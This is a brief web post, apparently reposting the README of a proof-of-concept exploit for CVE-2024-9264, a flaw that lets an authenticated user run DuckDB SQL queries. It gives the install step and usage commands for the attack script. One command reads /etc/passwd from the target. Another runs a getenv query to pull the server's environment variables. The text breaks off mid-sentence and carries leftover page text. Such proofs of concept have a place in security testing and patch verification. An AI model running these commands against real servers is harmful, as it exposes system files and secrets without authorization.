21
Oct
(Credit: Timon – stock.adobe.com) This PoC demonstrates how to exploit CVE-2024-9264 to execute DuckDB SQL queries using an authenticated user and read arbitrary files from the file system. Setup: Install the necessary dependencies with the following command: pip install -r requirements.txt Enter fullscreen mode Exit fullscreen mode Usage (File Read Example): python3 CVE-2024-9264.py -u user -p pass -f /etc/passwd http://localhost:3000 Enter fullscreen mode Exit fullscreen mode You can also execute arbitrary DuckDB queries, such as calling getenv to retrieve environment variables: python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000 Enter fullscreen mode Exit fullscreen mode A list of…
